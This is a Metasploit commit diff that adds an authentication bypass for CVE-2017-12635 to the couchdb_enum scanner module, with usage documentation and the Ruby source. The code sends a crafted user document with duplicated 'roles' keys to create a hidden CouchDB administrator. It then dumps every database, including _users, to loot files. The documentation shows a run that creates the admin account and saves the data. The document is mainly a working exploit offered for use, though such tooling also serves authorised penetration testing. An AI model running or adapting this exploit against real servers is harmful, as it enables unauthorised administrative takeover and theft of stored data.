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Land #10648, auth bypass for couchdb_enum

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wvu-r7 committed Jan 7, 2019
2 parents b5c4ac6 + 3a72655 commit f96514528b15fb741f0a19c7cc7038578871b254
@@ -3,7 +3,7 @@
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.

The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):

1. `sudo apt install software-properties-common`
2. `sudo add-apt-repository ppa:couchdb/stable`
3. `sudo apt update`
@@ -20,54 +20,77 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https

## Options

**serverinfo**
**SERVERINFO**

If set to `true`, the server info will also enumerated and set in msf's DB. Defaults to `false`.

**CREATEUSER**

If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
If set to `true`, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to `false`.

## Scenarios

A run against the configuration from these docs

```
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
verbose => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
[+] 1.1.1.1:5984 {
"couchdb": "Welcome",
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
"version": "1.6.1",
"vendor": {
"version": "16.04",
"name": "Ubuntu"
}
Dumping databases with `SERVERINFO` and `CREATEUSER` set:

```
msf5 > use auxiliary/scanner/couchdb/couchdb_enum
msf5 auxiliary(scanner/couchdb/couchdb_enum) > options
Module options (auxiliary/scanner/couchdb/couchdb_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
CREATEUSER false yes Create Administrative user
HttpPassword IJvoGDWAWzQo yes CouchDB Password
HttpUsername CQuXQnVwQAow yes CouchDB Username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
ROLES _admin yes CouchDB Roles
RPORT 5984 yes The target port (TCP)
SERVERINFO false yes Print server info
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /_all_dbs yes Path to list all the databases
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true
serverinfo => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true
createuser => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
verbose => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > check
[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
[*] 127.0.0.1:5984 - The target appears to be vulnerable.
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
[+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login.
[+] 127.0.0.1:5984 - {
"couchdb": "Welcome",
"version": "2.1.0",
"features": [
"scheduler"
],
"vendor": {
"name": "The Apache Software Foundation"
}
[*] #{peer} Enumerating Databases...
[+] 1.1.1.1:5984 Databases:
[
"_replicator",
"_users"
]
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
Server: CouchDB/1.6.1 (Erlang OTP/18)
Date: Sat, 21 Jul 2018 14:54:45 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 127
Cache-Control: must-revalidate
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
```
}
[*] 127.0.0.1:5984 - Enumerating Databases...
[+] 127.0.0.1:5984 - Databases:
[
"_global_changes",
"_replicator",
"_users"
]
[+] 127.0.0.1:5984 - File saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb.enum_790231.bin
[+] 127.0.0.1:5984 - _global_changes saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._global__841794.bin
[+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin
[+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/couchdb/couchdb_enum) >
```
@@ -9,103 +9,219 @@ class MetasploitModule < Msf::Auxiliary

def initialize(info = {})
super(update_info(info,
'Name' => 'CouchDB Enum Utility',
'Description' => %q{
'Name' => 'CouchDB Enum Utility',
'Description' => %q{
This module enumerates databases on CouchDB using the REST API
(without authentication by default).
},
'References' =>
'References' =>
[
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']
],
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
'License' => MSF_LICENSE
'Author' =>
[
'Max Justicz', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
],
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(5984),
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
OptBool.new('SERVERINFO', [true, 'Print server info']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
OptBool.new('SERVERINFO', [true, 'Print server info', false]),
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])

])
end

def valid_response(res)
return res.code == 200 && res.headers['Server'].include?('CouchDB')
end

def get_version
@version = nil

begin
res = send_request_cgi(
'uri' => '/',
'method' => 'GET'
)
rescue Rex::ConnectionError
vprint_bad("#{peer} - Connection failed")
return false
end

unless res
vprint_bad("#{peer} - No response, check if it is CouchDB.")
return false
end

if res && res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end

if res && res.code == 200
res_json = res.get_json_document

if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end

@version = res_json['version'] if res_json['version']
return true
end

vprint_warning("#{peer} - Version not found")
true
end

def check
return Exploit::CheckCode::Unknown unless get_version
version = Gem::Version.new(@version)
return Exploit::CheckCode::Unknown if version.version.empty?
vprint_good("#{peer} - Found CouchDB version #{version}")

return Exploit::CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))

Exploit::CheckCode::Safe
end

def get_dbs(auth)
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => auth
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)

temp = JSON.parse(res.body)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
print_error("#{peer} The following Error was encountered: #{e.class}")
print_error("#{peer} - The following Error was encountered: #{e.class}")
return
end

if valid_response(res)
print_status("#{peer} Enumerating Databases...")
results = JSON.pretty_generate(temp)
print_good("#{peer} Databases:\n\n#{results}\n")

path = store_loot(
'couchdb.enum',
'application/json',
rhost,
results,
'CouchDB Databases'
)
unless valid_response(res)
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
return
end

print_status("#{peer} - Enumerating Databases...")
results = JSON.pretty_generate(temp)
print_good("#{peer} - Databases:\n\n#{results}\n")
path = store_loot(
'couchdb.enum',
'application/json',
rhost,
results,
'CouchDB Databases'
)

print_good("#{peer} File saved in: #{path}")
else
print_error("#{peer} Unable to enum, received \"#{res.code}\"")
print_good("#{peer} - File saved in: #{path}")
res.get_json_document.each do |db|
r = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),
'method'=> 'GET',
'authorization' => auth,
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}
)
if r.code != 200
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
return
end
temp = JSON.parse(r.body)
results = JSON.pretty_generate(temp)
path = store_loot(
"couchdb.#{db}",
"application/json",
rhost,
results,
"CouchDB Databases"
)
print_good("#{peer} - #{db} saved in: #{path}")
end
end

def get_server_info(auth)
begin
res = send_request_cgi(
'uri' => '/',
'method' => 'GET',
'authorization' => auth
'uri' => '/',
'method' => 'GET'
)

temp = JSON.parse(res.body)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
print_error("#{peer} The following Error was encountered: #{e.class}")
print_error("#{peer} - The following Error was encountered: #{e.class}")
return
end

if valid_response(res)
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
unless valid_response(res)
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
return
end

print_good("#{peer} #{JSON.pretty_generate(temp)}")
report_service(
host: rhost,
port: rport,
name: 'couchdb',
proto: 'tcp',
info: res.body
)
else
print_error("#{peer} Unable to enum, received \"#{res.code}\"")
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}

print_good("#{peer} - #{JSON.pretty_generate(temp)}")
report_service(
host: rhost,
port: rport,
name: 'couchdb',
proto: 'tcp',
info: res.body
)
end

def create_user
username = datastore['HttpUsername']
password = datastore['HttpPassword']
roles = datastore['ROLES']
timeout = datastore['TIMEOUT']
version = @version

data = %Q({
"type": "user",
"name": "#{username}",
"roles": ["#{roles}"],
"roles": [],
"password": "#{password}"
})
res = send_request_cgi(
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
'method' => 'PUT',
'ctype' => 'text/json',
'data' => data,
}, timeout)

unless res && res.code == 200
print_error("#{peer} - Change Failed")
return
end

print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")
end

def run
username = datastore['HttpUsername']
password = datastore['HttpPassword']
auth = basic_auth(username, password) if username && password
if datastore['SERVERINFO']
get_server_info(auth)

if datastore['CREATEUSER']
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version
version = Gem::Version.new(@version)
print_good("#{peer} - Found CouchDB version #{version}")
create_user if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
end
auth = basic_auth(username, password) if username && password
get_server_info(auth) if datastore['SERVERINFO']
get_dbs(auth)
end
end

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